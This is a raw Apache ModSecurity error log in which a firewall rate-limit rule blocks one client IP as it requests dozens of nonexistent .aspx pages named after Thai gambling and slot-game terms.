[Fri May 01 16:29:56.498954 2026] [:error] [pid 24997:tid 25080] [client 85.215.50.231:38532] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afRkhPOkHa4ScY5oo8yWyQAAANg"]
[Fri May 01 16:29:58.970586 2026] [:error] [pid 24997:tid 25065] [client 85.215.50.231:38534] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afRkhvOkHa4ScY5oo8yW0gAAAMk"]
[Fri May 01 16:30:01.444501 2026] [:error] [pid 24996:tid 25047] [client 85.215.50.231:38538] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afRkiSDBq9mMfUWQQeoyQwAAAJE"]
[Fri May 01 16:30:03.882432 2026] [:error] [pid 24997:tid 25070] [client 85.215.50.231:38544] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afRki_OkHa4ScY5oo8yW1gAAAM4"]
[Fri May 01 16:30:06.409647 2026] [:error] [pid 24997:tid 25065] [client 85.215.50.231:2666] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afRkjvOkHa4ScY5oo8yW3gAAAMk"]
[Fri May 01 16:30:08.843991 2026] [:error] [pid 33791:tid 33814] [client 85.215.50.231:2676] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afRkkG9ixd-moLycM9C7bgAAABQ"]
[Fri May 01 16:30:11.314374 2026] [:error] [pid 24995:tid 25008] [client 85.215.50.231:2686] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afRkk-dJG9WB_Q_ne0uQ4AAAAEk"]
[Fri May 01 16:30:13.745892 2026] [:error] [pid 24996:tid 25036] [client 85.215.50.231:2694] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afRklSDBq9mMfUWQQeoySgAAAIg"]
[Fri May 01 16:30:16.209494 2026] [:error] [pid 33791:tid 33811] [client 85.215.50.231:27554] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afRkmG9ixd-moLycM9C7gAAAABE"]
[Fri May 01 16:30:18.714749 2026] [:error] [pid 24997:tid 25054] [client 85.215.50.231:27566] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "afRkmvOkHa4ScY5oo8yW7gAAAMM"]
[Fri May 01 16:30:21.169345 2026] [:error] [pid 24997:tid 25067] [client 85.215.50.231:27574] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afRknfOkHa4ScY5oo8yW8wAAAMs"]
[Fri May 01 16:30:23.738159 2026] [:error] [pid 25085:tid 25109] [client 85.215.50.231:27578] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afRkn_uD8fWRiE0RX0HVlAAAAVI"]
[Fri May 01 16:30:26.282481 2026] [:error] [pid 33791:tid 33813] [client 85.215.50.231:17704] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afRkom9ixd-moLycM9C7jAAAABM"]
[Fri May 01 16:30:28.655896 2026] [:error] [pid 33791:tid 33799] [client 85.215.50.231:17716] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "afRkpG9ixd-moLycM9C7kgAAAAU"]
[Fri May 01 16:30:31.001066 2026] [:error] [pid 24997:tid 25058] [client 85.215.50.231:17732] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afRkp_OkHa4ScY5oo8yXAwAAAMQ"]
[Fri May 01 16:30:33.350584 2026] [:error] [pid 33791:tid 33815] [client 85.215.50.231:17738] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afRkqW9ixd-moLycM9C7ngAAABU"]
[Fri May 01 16:30:35.841672 2026] [:error] [pid 24997:tid 25067] [client 85.215.50.231:17744] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "afRkq_OkHa4ScY5oo8yXBwAAAMs"]
[Fri May 01 16:30:38.316467 2026] [:error] [pid 24995:tid 25020] [client 85.215.50.231:16240] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afRkrudJG9WB_Q_ne0uQ8gAAAFU"]
[Fri May 01 16:30:40.797266 2026] [:error] [pid 24997:tid 25075] [client 85.215.50.231:16256] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "afRksPOkHa4ScY5oo8yXGAAAANM"]
[Fri May 01 16:31:10.251343 2026] [:error] [pid 24996:tid 25043] [client 85.215.50.231:56532] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afRkziDBq9mMfUWQQeoycwAAAI4"]
[Fri May 01 16:31:20.298450 2026] [:error] [pid 25085:tid 25100] [client 85.215.50.231:7798] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afRk2PuD8fWRiE0RX0HVvwAAAUk"]
[Fri May 01 16:31:22.748535 2026] [:error] [pid 25085:tid 25115] [client 85.215.50.231:7806] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "afRk2vuD8fWRiE0RX0HVwwAAAVg"]
[Fri May 01 16:31:25.185313 2026] [:error] [pid 24997:tid 25075] [client 85.215.50.231:7812] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afRk3fOkHa4ScY5oo8yXbQAAANM"]
[Fri May 01 16:31:27.484441 2026] [:error] [pid 25085:tid 25097] [client 85.215.50.231:32630] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afRk3_uD8fWRiE0RX0HVygAAAUY"]
[Fri May 01 16:31:29.929434 2026] [:error] [pid 24997:tid 25065] [client 85.215.50.231:32642] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "afRk4fOkHa4ScY5oo8yXeAAAAMk"]
[Fri May 01 16:31:32.385935 2026] [:error] [pid 24996:tid 25043] [client 85.215.50.231:32650] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afRk5CDBq9mMfUWQQeoyfwAAAI4"]
[Fri May 01 16:31:34.907358 2026] [:error] [pid 24995:tid 25015] [client 85.215.50.231:32662] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afRk5udJG9WB_Q_ne0uRnwAAAFA"]
[Fri May 01 16:31:37.321730 2026] [:error] [pid 24995:tid 25018] [client 85.215.50.231:1086] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afRk6edJG9WB_Q_ne0uRogAAAFM"]
[Fri May 01 16:31:39.641033 2026] [:error] [pid 33791:tid 33802] [client 85.215.50.231:1090] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afRk629ixd-moLycM9C70QAAAAg"]
[Fri May 01 16:31:41.957303 2026] [:error] [pid 33791:tid 33815] [client 85.215.50.231:1098] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afRk7W9ixd-moLycM9C71AAAABU"]
[Fri May 01 16:31:44.276246 2026] [:error] [pid 25085:tid 25108] [client 85.215.50.231:1112] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afRk8PuD8fWRiE0RX0HV1wAAAVE"]
[Fri May 01 16:31:46.588936 2026] [:error] [pid 25085:tid 25093] [client 85.215.50.231:36500] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afRk8vuD8fWRiE0RX0HV3QAAAUI"]
[Fri May 01 16:31:48.993922 2026] [:error] [pid 33791:tid 33812] [client 85.215.50.231:36508] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afRk9G9ixd-moLycM9C73AAAABI"]
[Fri May 01 16:31:51.434703 2026] [:error] [pid 33791:tid 33809] [client 85.215.50.231:36516] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afRk929ixd-moLycM9C73wAAAA8"]
[Fri May 01 16:31:53.909042 2026] [:error] [pid 24996:tid 25039] [client 85.215.50.231:36532] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afRk-SDBq9mMfUWQQeoyowAAAIs"]
[Fri May 01 16:31:56.428751 2026] [:error] [pid 24995:tid 25014] [client 85.215.50.231:17338] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afRk_OdJG9WB_Q_ne0uRtQAAAE8"]
[Fri May 01 16:31:58.926884 2026] [:error] [pid 24996:tid 25051] [client 85.215.50.231:17352] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afRk_iDBq9mMfUWQQeoyqAAAAJQ"]
[Fri May 01 16:32:01.404797 2026] [:error] [pid 25085:tid 25114] [client 85.215.50.231:17366] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afRlAfuD8fWRiE0RX0HV5wAAAVc"]
[Fri May 01 16:32:03.920854 2026] [:error] [pid 33791:tid 33813] [client 85.215.50.231:17374] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "afRlA29ixd-moLycM9C7-gAAABM"]
[Fri May 01 16:32:06.237011 2026] [:error] [pid 24996:tid 25038] [client 85.215.50.231:42466] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afRlBiDBq9mMfUWQQeoytQAAAIo"]
[Fri May 01 16:32:35.369707 2026] [:error] [pid 25085:tid 25098] [client 85.215.50.231:2490] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "afRlI_uD8fWRiE0RX0HWCwAAAUc"]
[Fri May 01 16:32:37.833252 2026] [:error] [pid 33791:tid 33818] [client 85.215.50.231:56040] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "afRlJW9ixd-moLycM9C8LQAAABg"]
[Fri May 01 16:32:40.326101 2026] [:error] [pid 24997:tid 25077] [client 85.215.50.231:56042] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "afRlKPOkHa4ScY5oo8yX6AAAANU"]
[Fri May 01 16:32:42.876806 2026] [:error] [pid 33791:tid 33816] [client 85.215.50.231:56048] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afRlKm9ixd-moLycM9C8MQAAABY"]
[Fri May 01 16:32:45.333516 2026] [:error] [pid 24996:tid 25028] [client 85.215.50.231:56058] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afRlLSDBq9mMfUWQQeoyzAAAAIA"]
[Fri May 01 16:32:47.778577 2026] [:error] [pid 25085:tid 25101] [client 85.215.50.231:22332] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afRlL_uD8fWRiE0RX0HWFQAAAUo"]
[Fri May 01 16:32:50.276887 2026] [:error] [pid 33791:tid 33795] [client 85.215.50.231:22348] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afRlMm9ixd-moLycM9C8QAAAAAE"]
[Fri May 01 16:32:52.766653 2026] [:error] [pid 24996:tid 25028] [client 85.215.50.231:22356] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afRlNCDBq9mMfUWQQeoy-AAAAIA"]
[Fri May 01 16:32:55.280409 2026] [:error] [pid 33791:tid 33813] [client 85.215.50.231:22364] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afRlN29ixd-moLycM9C8iAAAABM"]
[Fri May 01 16:32:57.762509 2026] [:error] [pid 24997:tid 25075] [client 85.215.50.231:56808] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afRlOfOkHa4ScY5oo8yYGgAAANM"]
[Fri May 01 16:33:00.233082 2026] [:error] [pid 24996:tid 25038] [client 85.215.50.231:56810] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afRlPCDBq9mMfUWQQeoy-gAAAIo"]
[Fri May 01 16:33:02.669594 2026] [:error] [pid 24997:tid 25068] [client 85.215.50.231:56826] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afRlPvOkHa4ScY5oo8yYHQAAAMw"]
[Fri May 01 16:33:05.008804 2026] [:error] [pid 24995:tid 25003] [client 85.215.50.231:56828] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afRlQedJG9WB_Q_ne0uR3wAAAEQ"]
[Fri May 01 16:33:07.326252 2026] [:error] [pid 24997:tid 25072] [client 85.215.50.231:47856] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afRlQ_OkHa4ScY5oo8yYHgAAANA"]
